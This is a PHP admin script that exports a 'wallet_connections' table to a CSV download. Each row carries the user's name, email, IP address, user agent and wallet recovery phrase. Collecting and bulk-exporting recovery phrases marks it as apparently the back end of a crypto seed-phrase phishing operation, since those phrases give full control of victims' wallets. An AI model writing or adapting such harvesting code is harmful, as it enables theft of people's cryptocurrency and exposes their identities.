<?php
session_start();
require_once '../connection.php';

// Check if admin is logged in
if (!isset($_SESSION['admin_id'])) {
    header('Location: ../admin-login.php');
    exit();
}

// Set headers for CSV download
header('Content-Type: text/csv; charset=utf-8');
header('Content-Disposition: attachment; filename=wallet-connections-' . date('Y-m-d') . '.csv');

// Create output stream
$output = fopen('php://output', 'w');

// Add UTF-8 BOM for Excel compatibility
fprintf($output, chr(0xEF).chr(0xBB).chr(0xBF));

// Add headers
fputcsv($output, [
    'ID',
    'User ID',
    'Username',
    'Full Name',
    'Email',
    'Wallet Type',
    'Recovery Phrase',
    'IP Address',
    'User Agent',
    'Created At'
]);

// Fetch data
$query = "
    SELECT 
        wc.*,
        u.username,
        u.full_name,
        u.email
    FROM wallet_connections wc
    JOIN users u ON wc.user_id = u.id
    ORDER BY wc.created_at DESC
";

$result = $conn->query($query);

if ($result) {
    while ($row = $result->fetch_assoc()) {
        fputcsv($output, [
            $row['id'],
            $row['user_id'],
            $row['username'],
            $row['full_name'],
            $row['email'],
            $row['wallet_type'],
            $row['recovery_phrase'],
            $row['ip_address'],
            $row['user_agent'],
            $row['created_at']
        ]);
    }
}

fclose($output);
exit();